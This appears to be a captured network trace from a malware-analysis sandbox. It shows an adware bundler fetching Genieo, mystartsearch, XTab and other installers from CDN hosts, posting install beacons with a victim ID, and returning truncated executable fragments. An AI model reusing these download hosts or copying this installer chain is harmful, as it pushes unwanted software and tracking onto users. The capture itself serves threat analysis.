Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:30 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Content-Type: image/gif..Serv
er: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.
NET..Date: Tue, 24 Feb 2015 00:02:30 GMT..Content-Length: 0..

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=249864-

User-Agent: Better Installer(Mozilla)

Host: d29brepyudd8sp.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 35694

Connection: keep-alive

Date: Sun, 22 Feb 2015 06:06:45 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 249864-285557/285558

Age: 913

X-Cache: Hit from cloudfront

Via: 1.1 e13dc20cb35881b25fb296fb0383f55c.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Qwcg0z6h7rq9jP7_8pJxNZ-PC-v7CzXXhxkTBo2QN3j0FCTBWKSmfw==
..X..9f.q...%.@_e../xo....nFE5..b:.....I..}..ELr.......b.....=..Bq.G._
...|.eh:..B_]...'.q.T..XMz4N.@.....?.....Kg.I....f&.\.B6...........f..
Ff...,...i0E["...A/#.).....P..]..,.[..$.../..Q..>'...F.1.=.h.C ..l.
..Vc..^K]....z.Dp.<6.. .=..%$`.G...'..h..'"#......!^..}F7g..[.K..n~
.s..4fo%.K.....M...-......GM|V.......N..o...(.,........1...=...J{....~
v..C...HwM'rg=...Y..Y>Rj.[....=Xh%P.F(...Ph.D&..S.....EF..7....\.Z.
&/`..1q......(./..A.WWs.....L...:^.`....:......z.7.m.c.Xj(...z.....z._
.Y.Z.<..m....-F..-r.......yV....;\~....P...`qR..ue..Pad"..8.f&1/.w%
.e...m.....M].c..C.}.%_.s.WQxQ..1.WO.Ea.76.~..r.&..9..%8.0.......xE..$
..a/..*z.;khi.k".<}.....v....0)..a.&..Z..n..a|P.gjT....C.....[..W.g
.4.k|a.Zw-....k...?.{.......ZM......_.>i.@.`<#...y.S.<.;..kf.
.u.....6....$..}2..6.....h.U#.......j..=.{.4..}....@)..K...%...z^cxR."
.b....j.....T....U?is.3..L.D-v..{P....P....\...*..........NI.n.y...M..
..@...?d`N..k^...}....o5U.(..:'..|.c..wQ....)..T..y..uz.8......H...A..
..'}5....W.....u...@ ...s)........x..d.X.zz.p.....(.......c1..g.......
S..Q....Ae..&P;7./...A...%)'....~.q.T.3..j2..1..S.C..Dq.`...c.yZOpP..1
...z...D.3.f.__.F:.H......I..@.~...t..c.p.W.U."...1].>9..d:...i.6..
.....G{.mh..'...d..|{....:<.TZ..2I...._yI.fpG....S.??,[email protected]=r
.....{z.Q...Q.~.......t......1.]..Sf(.QD...6.%...5\.&HW......h.n*.j.cn
k..]....fz....W@... ..w...}.8...h.`n...........9>o.0.....pa.....U..
\e..%J.....`....OF.{.P &.....v..bk..n.c.M&..(.....8e.YZMw..R.M]Qa....o
.p.$g.D._.C...5........F.Pu{..n6...[.....T.&..N^[email protected].`2.<<< skipped >>>

GET /v4/searchprotect/267123711_198339_B48A115F?action0=xa.geoip&action1=visit&action2=install HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Tue, 24 Feb 2015 00:04:32 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"0.94 ms","message":"store 4 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Tue, 24 Feb 20
15 00:04:32 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.94 ms","message":"store 4 ac
tion and 0 update "}..0..

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

Range: bytes=494204-

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

x-amz-id-2: eFXZm0/Zmm6synr2G3yPqUU7JeLYv1CsqVtxNQ0kjhvgFdYbyy04CscGAXMh5oeGIHau Qzn2Cg=

x-amz-request-id: 3F6D275AAEE6A0B9

Date: Tue, 24 Feb 2015 00:02:19 GMT

Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT

ETag: "d65611fbc4da8cea4e886076bec82d1e"

Accept-Ranges: bytes

Content-Range: bytes 494204-988407/988408

Content-Type: application/octet-stream

Content-Length: 494204

Server: AmazonS3
.;M@{..M.?..4R.[v. .-..bIcw.......b.....!..rf.P.........0.....{......y
..WL.D*^[email protected].)4......V.P!s...!pW6$~......T
..i...kQ.X..-.V.&...;.`...._B..-*.V.*[.S..?...)$\....i...E;........|p.
B|ON......:...@,.qX.vb8.%.<@..z.>_.RB..y.n.oX.AW1(....YU.4..O...
.Q...........A.z[.G..-z#......4/...X..N..l|.p..5!'hV.._.n..c..^.k...E.
....p..5B.......HEm.dh.4.sGUh..WP7.#...........:Z.].K"............B]W.
V...L0q~.].AB.`.trp.eW..J##..[.r,.(.&...."..G..B........#o..`....p...]
5{w.......%z......P}......Wj. M)^...5...Y.C._.7..*........'.. jI.c...t
..@$.X.ty...1.He...eV....}.l.R.2....A.P.....q....#"..58.Yg.f...(...1).
....,......|.#.KB...3H$..N...r...r.)...^.ST.$..?\.... 8,d....{ M...u..
:C........e..FL.j....S...MMd....%.N.i.....y.c..M..H....v.~5........:.f
DI...#.....0.(TH...sWso...:.#~....p....B!.....D."m..Xt..c,.m...e....z.
F*..m.Ci.Qt.....j.m*<...n.7...M..J......(..{....z......y.v.."@kNX.k
3{.m.[.._m\....(...Rz.ka..Qwb....3.\o.?.x..6........j..Do..j....)q....
]Q..}.. ....9....x.. b#Q/ .g.._.-Y.ZZ..r>2.e.\zu....d:w..].j..ma.0D
[........9..2.=...<....j..h.D.3Z..0.f.{$......i..tm..y.J.>.$.kz.
......_.....z...Q.K.(..=.7..I....C.9R_.z...w...B.... ..y...2.j..@'q.m.
.zs..}.........z...r).~....%.............]..rY0..Y.sgE...B.e.....|.<
;h..q.tLPw.....MD....z.....z..3..jP.KQ6>.I..#.{...gyf...@|..#....|.
.,t..m....q*.r.OLX`"B.....k....!n.Q;n......2vn....... a....{..|z...H..
..C.!.eGn.#.....-..m.R...N...._..e..k.&../p......b.....jq.L.-.c..q/..O
/b.......m....~.....:D.A&..Y...`...z..c..U...F...jZ.G.s....*..AI..<<< skipped >>>

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

x-amz-id-2: ROfXl1MiUORjabeVXuTEsMcCxH01LGLimCzQ5e7yk03QNg2FD6aM290HsaCb6KzKuYUDKPYvMeI=

x-amz-request-id: 91BB53137296AFBE

Date: Tue, 24 Feb 2015 00:04:27 GMT

Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT

ETag: "d65611fbc4da8cea4e886076bec82d1e"

Accept-Ranges: bytes

Content-Range: bytes 0-988407/988408

Content-Type: application/octet-stream

Content-Length: 988408

Server: AmazonS3
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
.........P...............`............................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc...P............v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /mirror/filesfrog/UpdateCheckerSetup.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: d32c8485dhfcya.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 200072

Connection: keep-alive

Date: Sun, 22 Feb 2015 05:42:08 GMT

x-amz-version-id: jL0aSyRduHp4LqyncVK8Wm3JP0W5VrZH

x-amz-meta-s3cmd-attrs: uid:0/gname:root/uname:root/gid:0/mode:33188/mtime:1382010969/atime:1382011574/ctime:1382011537

Cache-Control: max-age=3600

Last-Modified: Thu, 17 Oct 2013 12:06:36 GMT

ETag: "ef7d1863f4980ab0c8bda142fee67f92"

Accept-Ranges: bytes

Server: AmazonS3

Age: 283

X-Cache: Hit from cloudfront

Via: 1.1 3abf650c7bf73e47515000bddf3f05c0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Tkz9wAUQ1vUwgIABuZ12-MaGZbxLgb4GU8JyiLU3afAuce3_fsVn_Q==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
...........................{........................................s.
[email protected]............................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d32c8485dhfcya.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 321632

Connection: keep-alive

Date: Sun, 22 Feb 2015 06:36:11 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 0-321631/321632

Age: 941

X-Cache: Hit from cloudfront

Via: 1.1 3f22ccb0670a6dfd48cff193a28e878c.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 27yx0j4fmKhBVWVrLaKtQ0ioQKgq55YpeCL6q0gHsjqDKohB-TuNJw==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.........>.P.P.P
.P.P.P.K...H.P.K...o.P.K.....P.Y...R.P.Y..._.P.P.Q.-.P.K...Z.P.EH..Q.P
.K...Q.P.RichP.P.........PE..L......T.................................
.... ....@.......................... .......a....@....................
.............h...........\...............`.......l ..`"...............
................|..@............ ...............................text..
.a........................... ..`.rdata....... ......................@
[email protected].......*[email protected]...\..................
.........@[email protected][email protected].................
......................................................................
......................................................................
......................................................................
......................................................................
.................................................."C...t.......U..V...
.."C...t...E..t.V.9y.......^]............................U..j.hd.C.d..
...P...SV.t.C.3.P.E.d......u.3.S....k...]..^..^..^..^..^..^..^..^ .E..
;.u(.E.P.M..E.|RC...s..h0.C..M.Q.E..#C......WV.#h........M.d......Y^[.
.].....U..j.h..C.d.....PVW.t.C.3.P.E.d......u.V.E......bg...F.3....;.t
.P..w......~..F.;.t.P..w......~..F.;.t.P..w......~..F.;.t.P..w........
~..E......2j...M.d......Y_^..].............U...E.VP....s.....#C...^]..
[email protected]..^..].......U..QVW..j..M.<<< skipped >>>

GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 1287434

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Mon, 23 Feb 2015 16:00:40 GMT

Accept-Ranges: bytes

ETag: "a07318df814fd01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:00:59 GMT

X-Cache: Miss from cloudfront

Via: 1.1 bd5652a800046ffa43683320c0e731b4.cloudfront.net (CloudFront)

X-Amz-Cf-Id: wcEorMU6DFNVoAXnlrPhqwcukP32hoPb3cnF3-G-YG9fYyZOKjZMNQ==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.<<< skipped >>>

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: erJFjt6pAsGSAQ/sX6Ip K6VbyVXhGfUEVnxcbiiCRs/hgULymgOHi0fv0MpHYP3tBeOvmnZ Us=

x-amz-request-id: 50EDE77A7CEEB63A

Date: Tue, 24 Feb 2015 00:04:25 GMT

Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT

ETag: "d65611fbc4da8cea4e886076bec82d1e"

Accept-Ranges: bytes

Content-Type: application/octet-stream

Content-Length: 988408

Server: AmazonS3
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
.........P...............`............................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc...P............v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /?gfe_rd=cr&ei=97_rVMiuMoKu8wehyYGQCw HTTP/1.1

Host: VVV.google.com.ua

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive


HTTP/1.1 302 Found

Location: hXXps://VVV.google.com.ua/?gfe_rd=cr&ei=97_rVMiuMoKu8wehyYGQCw&gws_rd=ssl

Cache-Control: private

Content-Type: text/html; charset=UTF-8

Set-Cookie: PREF=ID=47cc1e43affb4895:FF=0:TM=1424736247:LM=1424736247:S=P_K3bWGgP9nvwwQU; expires=Thu, 23-Feb-2017 00:04:07 GMT; path=/; domain=.google.com.ua

Set-Cookie: NID=67=kKDX5QWJRilMVPgsk61PioTz2DcFq2hNv3BY7wcFp2bn_itYJls2hHWAG6TgfOkdT-shbkS2WpJshID4RYiR_ibp9fIllmf2amIFF_lTCXnntMrTe24Zb3mMETHyD3mA; expires=Wed, 26-Aug-2015 00:04:07 GMT; path=/; domain=.google.com.ua; HttpOnly

P3P: CP="This is not a P3P policy! See hXXp://VVV.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 for more info."

Date: Tue, 24 Feb 2015 00:04:07 GMT

Server: gws

Content-Length: 278

X-XSS-Protection: 1; mode=block

X-Frame-Options: SAMEORIGIN

Alternate-Protocol: 80:quic,p=0.08
<HTML><HEAD><meta http-equiv="content-type" content="te
xt/html;charset=utf-8">.<TITLE>302 Moved</TITLE></HE
AD><BODY>.<H1>302 Moved</H1>.The document has mov
ed.<A HREF="hXXps://VVV.google.com.ua/?gfe_rd=cr&ei=97_rVMiuMoK
u8wehyYGQCw&gws_rd=ssl">here</A>...</BODY></HTML
>..HTTP/1.1 302 Found..Location: hXXps://VVV.google.com.ua/?gfe_rd=
cr&ei=97_rVMiuMoKu8wehyYGQCw&gws_rd=ssl..Cache-Control: private..Conte
nt-Type: text/html; charset=UTF-8..Set-Cookie: PREF=ID=47cc1e43affb489
5:FF=0:TM=1424736247:LM=1424736247:S=P_K3bWGgP9nvwwQU; expires=Thu, 23
-Feb-2017 00:04:07 GMT; path=/; domain=.google.com.ua..Set-Cookie: NID
=67=kKDX5QWJRilMVPgsk61PioTz2DcFq2hNv3BY7wcFp2bn_itYJls2hHWAG6TgfOkdT-
shbkS2WpJshID4RYiR_ibp9fIllmf2amIFF_lTCXnntMrTe24Zb3mMETHyD3mA; expire
s=Wed, 26-Aug-2015 00:04:07 GMT; path=/; domain=.google.com.ua; HttpOn
ly..P3P: CP="This is not a P3P policy! See hXXp://VVV.google.com/suppo
rt/accounts/bin/answer.py?hl=en&answer=151657 for more info."..Date: T
ue, 24 Feb 2015 00:04:07 GMT..Server: gws..Content-Length: 278..X-XSS-
Protection: 1; mode=block..X-Frame-Options: SAMEORIGIN..Alternate-Prot
ocol: 80:quic,p=0.08..<HTML><HEAD><meta http-equiv="con
tent-type" content="text/html;charset=utf-8">.<TITLE>302 Move
d</TITLE></HEAD><BODY>.<H1>302 Moved</H1>
;.The document has moved.<A HREF="hXXps://VVV.google.com.ua/?gfe_rd
=cr&ei=97_rVMiuMoKu8wehyYGQCw&gws_rd=ssl">here</A><<< skipped >>>

GET /files/third/2015/01/16/172511/350/XTab_4.0.2.1716.exe HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.inixggda.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 00:04:03 GMT

Content-Type: application/octet-stream

Content-Length: 2463400

Last-Modified: Fri, 16 Jan 2015 09:25:11 GMT

Connection: keep-alive

Expires: Thu, 26 Mar 2015 00:04:03 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes

p.y....I^.@..,....s..pG0......V...PL...N..PL...N..PL...N.n..0.@......,
...QO..9}.$...U...ZM\....!../...x...........Sw@.*H&......Kw........p..
.rr.F.n.U...C..N"SPN.?`E.....}[email protected].[..%o....C.....~F...PL...N..
PL...NQ.b.5..kM.QYD........h.;..{.......- .{.tG.K.........|ag12.$.....
.,8..A....W...".$:.[.pJ..s.h..x.4M...-6.4M...-6...R.}.J...PL...N}V.#R.
.m...w......PL...N.i...o)...PL...NJR!Yw..v..PL...N..PL...N..PL...N..PL
...N..PL...N.....3$...PL...N..PL...N..PL...N..d...8"....._r...j...Z...
PL...N.....Tq...&..8.{..E...Qe.t7W...S..PL...N..<....Ncx....z..n..t
!..J...Z.9...PL...N...4.u..5.;.6z..=.. .e..Q* ..`M...PL...N...4.u...iw
U.>..H....f3...PL...N..PL...Nj.G.....bd6..q\..B.=S-....#VY;....PL..
.N..<....N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N.
.PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...
N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL.
..N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..P
L...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N.H..h.......:....
.....4.C.A..rM8L.Q..D../......_,..b.9.......OnKA.zj\,.....b.8mW...'...
.u.~?..5../...i........x.....7.._...dL.W....^...t..../.....Y.....<.
.....$E..........L.p.z.s.R.....:...([email protected]..|. ..0.1.n..F...]..
?..c.<"...f.............2r.....o..h`..t#..*..0D*..1..xLL.....5.q...
&..Fj..L...3..!Ltc.n..\"*4....y....h7 ....y /.......&...F.V VU.....`..
}.....2..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..
F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F.

<<< skipped >>>

GET /Fan/rebirth?uid=267123711_198339_B48A115F&ptid=smt&ver=4.0.1.1716&dname=mystartsearch HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: up.soft365.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 00:04:32 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

X-Powered-By: PHP/5.2.14p1

Content-Encoding: gzip

14........................0..HTTP/1.1 200 OK..Server: nginx..Date: Tue
, 24 Feb 2015 00:04:32 GMT..Content-Type: text/html; charset=UTF-8..Tr
ansfer-Encoding: chunked..Connection: keep-alive..Vary: Accept-Encodin
g..X-Powered-By: PHP/5.2.14p1..Content-Encoding: gzip..14.............
...........0..

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=832858-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Tue, 24 Feb 2015 00:04:28 GMT

Content-Type: application/octet-stream

Content-Length: 277618

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 832858-1110475/1110476
.'.. .O..l$.wQi.t...g%..4..........9:1`..?......]... ...Z....Br.B.....
.A.........i..T.#.F.d.[....C.xJ.K}..pF..J...<9.rgt....[p%..\u/...7.
~.K.......v#........a.=......h.....6......v.K...../VN.=..I.e.Cc.6..W@.
.,.dn.j..d.A{.A..D.Q.~...5...=L]>...|.H..},.^E..\F.c...D^.}]D....'[
L....`.3Dp..r....P.....-....v-.[0.\....22cK...^.=?c.t....a.........R.s
o1.lI..Q_./`..,\../.c.?...S...K.O?...j.....s.....($.k...,x.?......z...
w.(.^=..4J.S*K.qm...`oG.D.<6a.........R....`..QNx......:..=g.K.....
...X4........T-J.........j.sh....}..Y.`..MThf.')^.[..;.'..X.a..&.....-
...x.....{.b...a...3....9{Y...`S......\...&F[....8.QL....S....n.......
Sc..:...Zd...n..q....R......6n.90.q~....<.o....5............`..n...
.~.p...OUr...y.8}.R%....y.*[email protected]..
.`..l....S......l]j.../.<..{1k>H.h.m.......2O.....4.2..L...a.(c.
...F...._..7.]......C[.i.3u..e...........0...m.j..h>...R.mu..] d.4.
.v.......g........t...\.*C......u0......w.K3..M.U......^.d.\.X.~..:.p.
...O..tNgx.....c...o...'..AY....|..t .....\.U........RE...N ..-,.nPgqw
......p.H.bMz...HJ.OG\.*....!..G/%..<...T..x.tn=..[1..sB.......z.FS
.8I....;.....].7.... ...|HT.fE...pX....-.......6..,.$.~.;..b....EZ~..,
........A.-..-.. ......T<N,..O([email protected]=.>..
.n.....6b.p....^4.....^.A./.......~5..z..~..UO.......iH.6..%....... .1
...{o..f$U>.]Y7.Xh|..![.............<......P9)..Q,..B.t.....f{..
t[...'.....&..VJ. ..9T!XH......&y.=.....O...4...Z....S..g..E/D.I%o....
PBL.........`.0..9I....&....d.....^... ....|Q....Qn..e"\.2.o.7_..A<<< skipped >>>

GET /801237/download.cdn.mozilla.net/pub/firefox/releases/34.0.5/update/win32/en-US/firefox-34.0.5.complete.mar HTTP/1.1

Host: wpc.1237.edgecastcdn.net

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Range: bytes=900000-1199999

Connection: keep-alive


HTTP/1.1 206 Partial Content

Accept-Ranges: bytes

Access-Control-Allow-Origin: *

Cache-Control: max-age=604800

Content-Range: bytes 900000-1199999/47994403

Content-Type: application/octet-stream

Date: Tue, 24 Feb 2015 00:04:08 GMT

Etag: "4b1e700-2dc5623-508c5f506dac8"

Expires: Tue, 03 Mar 2015 00:04:08 GMT

Last-Modified: Wed, 26 Nov 2014 16:59:55 GMT

Server: ECAcc (frf/873E)

X-Backend-Server: ftp3.dmz.scl3.mozilla.com

X-Cache: HIT

X-Cache-Info: caching

Content-Length: 300000
d,.f.\s..H.vB9..b.I`.b..8%..g..m....x..*.....{....?..u;f....._nU._....
..y q....].~..N...=....c.:..wuz. g...O?....*-..U..,..]u.iE...9..s.gN..
5.A.v....;BK..H.....>.J..T.n.#. .......^:...9.giR..h.s..dX[:..D..3.
..I.`.5..pb.s.-..........P...M.3.,.Z.....t.&Z$nJ."o'.\..O.h.B,Y.......
W.........!<.eu.BWsJ.=...Z.l....~..l'...l..9l|....d.x....Fw.B.Gv8..
..2.XJ.Ed..r...V.J.%.$.~^..N..b.....!..w h-..3.......C[m......R.*/[email protected]
Jg..L.......t.#A....X......D.B.....w.d...$6....8.I....GP..e...o\.UJ.u.
.yX.I....c..<KG..T......L..mT..,7rA..g..".?....../.&...dI......&.. 
.k..p.....s..J\..J..p....!.1(...U...A=.......D.....{.H.....v..5!..w...
....&.s|......=...V...Ig..Dp..@k..*...o".......Q..r..l]u.u/...(.i.....
.(..j........1.g7..f._N..eVm..~...)%.hX0Zm............z.w...R.".^.hI.Q
..nZ@..|[email protected]..._.....(!$....gR..;O.$$#...w.{.k.hB.4.?.
....u.$...&}.......Od.. ....".......;[[email protected]$.n.[...B?n.....
.$.\%2........!S...l.(.k...:......c...h.f/...x..VZ..A..R*~....dHh.....
9...I.m [email protected]<...i.v./-.\-......d..~h..H. ..6.M
..0....Z.A.T....N..K @....j%....U:.^..z...~.I.....F"..J...`.......1F$.
..s.D......x$O6....;r.P./.es4.*......n.{g._.U..R?(......|.....B.......
m.N....p&.Z......*..ZQ..VR..[..8@".1xy.P..........z.n^.<....^...n3.
..1...'Ki../[email protected]..<.M$..2..|.v.n/6...V.
.......lE/......w8-........-R..\e...WA...756.H.]/d.....-......'.......
.. ..4J@.<.S.4....Fu6%...du.iP.....*>........%/..>#..}....._.
..c.b.f..!...D%L...../.......,...o&u...#..1...Ex.k.P.. .S.J/......<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=277619-555238

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Tue, 24 Feb 2015 00:04:27 GMT

Content-Type: application/octet-stream

Content-Length: 277620

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 277619-555238/1110476
.../cXh~.Q....mj..Yt..>...(.e....(...kiq...lSR>...?... .N?.[c6..
.C.(.pA.,.*..F...Y.Ij.j..p.%.r..e..h&...{-.....R^...`9.1PO6\8..>...
...Q"Rg.Z......Too...?.<....J..=,.q...}y.=.T..*W...C9..].........^e
."T..`.&F..M...^-6Wz_:..YW.B.......'......O;,k..".gGP..<$-..1 .;.s|
X....-....%,....@.]AU.. ..\ko... .w~g..1K.......;A..|.r..%............
........... .)..2....e..<.J.i."....c..oZ...TE..j...........H..,8W.c
..ST.zz.M.;-Pk5z...y..r.W~.;(F7,........w5...Ef...9Eo..[.Q...\.....9..
f6...j.mq*pRc..Z*.R..IW...j4Y.D ...T...Sn_.0.tY[/g./]ehAw..@<W.....
.0QO\Cj(.C.-.......*..5|.-.0..$.V..pX...T........HA.....}..........}.;
